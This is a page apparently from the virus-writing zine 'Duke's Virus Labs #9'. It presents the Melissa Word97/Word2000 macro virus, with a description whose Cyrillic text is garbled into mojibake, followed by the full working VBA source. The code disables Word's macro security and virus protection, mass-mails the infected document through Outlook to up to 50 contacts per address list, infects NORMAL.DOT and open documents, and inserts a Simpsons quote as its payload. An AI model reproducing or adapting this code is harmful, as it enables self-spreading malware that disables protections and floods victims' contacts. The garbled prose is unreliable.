- [Duke's Virus Labs #9] - [Page 32] -

  Macro.Word97.Melissa
(c) by ULTRAS


ᠭ
********

ࠦ 䠩 㬥⮢  蠡 MS Word  뫠 ᢮  
ᮮ饭 ஭    MS Outlook.  ࠭
१砩 : 楤 뫪 ࠦ ᥬ 뫠 讥
⢮    ᠬ   ᯨ᪮ ᭮  MS Outlook.
 ⠪  ⥬ ॥, 몫砥 ⨢  MS Word.

 뫪 ᢮  १ ஭   ᯮ 
Visual Basic ⨢஢ 㣨 ਫ MS Windows  ᯮ짮 
楤.  뢠 MS Outlook, 뢠   ᮢ Outlook 
஭   뫠  ⨬ ᠬ ᮮ饭.  ᮮ饭 ᮤন:

: "Important Message From [UserName]" (UserName    ᮢ)
 쬠: "Here is that document you asked for ... don't show anyone else ;-)"

 ᮮ饭 ⠪ ᮥ 㬥 (⢥ ࠦ), 祬 
ᮥ  㬥,     । (⨢
㬥).   䥪  ࠭ । 䠩
짮⥫,   ᮤঠ 䨤樠 .

⢮ 뫠 ᥬ   䨣樨 ᭮  Outlook
( ᮢ e-mail)  ⭮ .  뢠  ᯨ᮪
 ᭮   뫠 ࠦ ᮮ饭  50  ᠬ  
ᯨ᪠. ᫨  ᯨ᪥  50 ᮢ,  뫠 ᮮ饭   
.   ᯨ᪠ ᮧ  ࠦ 쬮,   ண
ᮤন  50 ᮢ  ᯨ᪠.

 ᯮ ஭   ᢮ ࠭ ⮫쪮  ࠧ -
 ⮣ ஢ ᯥ樠쭠 "⪠"  ⥬ ॥:

HKEY_CURRENT_USER\Software\Microsoft\Office\ "Melissa?" = "... by Kwyjibo"

᫨    ,   뫠 ᮮ饭 ஭  
ਫ묨 ࠦ묨 㬥⠬  ᮧ    ॥.

 ᯮᮡ ࠭  ⮫쪮  ᨨ Word97,    Word2000.
 ᮡ  易   Word2000 ८ࠧ뢠 䠩
ண ଠ     ⨨.  ⮬   ଠ 
 室 ᥪ樨 䠩,  -ணࠬ (  ).
 १,  砥  ࠭  । Word2000.

 ᪥   Word 2000  ந ⥫ ⢨: 몫砥
(⠭  ) ⠭ ᭮ (⨢ ).

  ࠭    㫥 "Melissa"  ⮨  
-楤:  ࠦ 㬥  "Document_Open",  NORMAL.DOT
(  ᮢ) - "Document_Close".  ࠦ NORMAL.DOT
 ⨨ ࠦ 㬥  뢠  㣨 㬥  
⨨.  ࠦ   ᢮  筮  ࠦ
ꥪ  䠩-.  砥 ࠦ   ᮢ 
२뢠 ᢮ 楤  "Document_Close",   ந室
ࠦ 㬥⮢,  ᭠ 楤 २뢠  "Document_Open".
 १  ࠦ Word  ⨨ ࠦ 㬥,  
⨨ 㣨 㬥⮢ ,  ᢮ ।, 뢠 ࠦ묨.

 ⠪ ᮤন 楤-䥪,  ࠡ뢠  砥 ᫨ 
ࠢ ⠬   ⨢樨 ᭮ .  楤 ⠢
᫥騩 ⥪  ।㥬 㬥:

Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.
Game's over. I'm outta here.

 ⥪, ⠪ ,   ஧   ("Kwyjibo"),  
⥫ -ਠ "ᮭ" ("Simpsons").

 ⠪ ᮤন ਨ  ᢮ :

WORD/Melissa written by Kwyjibo
Works in both Word 2000 and Word 97
Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

 
**********

Private Sub Document_Open()
'ࠦ  ⨩ 㬥
On Error Resume Next
'஢ਬ ⠭ ⨢᭮   word2000
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  '㤠塞    word
  CommandBars("Macro").Controls("Security...").Enabled = False
  '뢠 ࠬ  ॥
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
 '㤠塞    word
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
'뢠 outlook
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
'஢ਬ ᯮ ஭  
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    'ᯨ᮪  ᭮ 
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            '᫨  50 ᮢ, 뫠 ᮮ饭    
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         '뢠  subject
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         '訬 ଠ
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         '㭨  ᠣ  㬥
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         '諥 ᮮ饭
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  '⠢   ⥬ ॥   ᫠   ᮢ 
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

' ࠦ 㬥⮢
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
'஢塞 ࠦ ⨢ 㬥
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If
'஢塞 ࠦ normal.dot
If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA
'᫨  ࠦ normal.dot  ࠧ 
If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
   '㥬 ᢮  筮  ࠦ ꥪ  䠩-
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If
'᫨  ࠦ ⨢ 㬥  ࠧ 
If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    '㥬 ᢮  筮  ࠦ ꥪ  䠩-
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
'Cࠡ뢠 ᫨  ࠢ ⠬   ⨢樨 ᭮   ⠢塞 ⥪
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub
